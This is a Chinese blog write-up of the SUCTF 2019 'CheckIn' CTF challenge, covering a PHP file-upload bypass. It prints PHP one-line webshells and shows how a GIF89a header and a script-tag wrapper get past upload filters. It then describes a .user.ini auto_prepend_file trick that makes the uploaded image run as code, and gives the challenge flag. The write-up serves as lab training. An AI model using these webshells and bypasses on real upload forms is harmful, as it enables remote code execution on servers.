web17([SUCTF 2019]CheckIn):

1.进入页面发现是文件上传题(CTRL+U后发现源代码无提示)--->上传包含一句话木马的.php文件(之后抓包修改filename和content-type还是不行)和.htaccess文件发现存在过滤
(1)1.php文件:illegal suffix!
一句话木马:<?php @eval($_POST['a']) ?>

(2)抓包修改的记录:illegal suffix!

.htaccess:exif_imagetype文件:not image!

exif_imagetype()函数用于判断图像的类型,会读取文件的第一个字节并检测前面
tips:可以给文件内容第一行加上GIF89a绕过(这是GIF文件的文件头的Ascii码)
如果没有使用<script>绕过检测会报错 "<? in content" (过滤了 <?)
2.在使用<script></script>包裹一句话木马后在上一行加上"GIF89a",最后抓包修改filename和content-type绕过检测(上传成功)

修改后的一句话木马:

GIF89a
<script language='php'>eval($_REQUEST['a']);</script>

因为上传的文件还是图片所以要想办法转化成php代码运行,但是".htaccess"又被限制不能使用,只能使用.user.ini配置文件绕过了

3.上传".user.ini"文件将之前上传的2.gif文件作为php代码运行(上传成功)
4.将回显拼接成URL地址后登录蚁剑--->在服务器的根目录找到flag


index.php在upload和文件后面
所以url:

"网页地址(去掉index.php)"+/uploads/"回显的路径"+/index.php
http://ffa5fa0f-f5dc-49ac-95df-ad5fb308da2f.node5.buuoj.cn:81/uploads/ec53bc853c0c94f2bf546edd1a265425/index.php//例如

FLAG:flag{d9154f71-fa3e-463c-9546-8b516b44324b}
知识点: .user.ini 配置文件
.user.ini是php的默认配置文件
常用命令:
auto_prepend_file:指定在每个PHP脚本之前自动加载的文件。该文件的内容将被插入到原始脚本的顶部。例如,auto_prepend_file = "/path/to/prepend.php"。
auto_append_file:指定在每个PHP脚本之后自动加载的文件。该文件的内容将被插入到原始脚本的末尾。例如,auto_append_file = "/path/to/append.php"。
特点是上传时需要目录下存在.php文件

posted @   舌口  阅读(8)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 推荐几款开源且免费的 .NET MAUI 组件库
· 实操Deepseek接入个人知识库
· 易语言 —— 开山篇
· Trae初体验
点击右上角即可分享
微信分享提示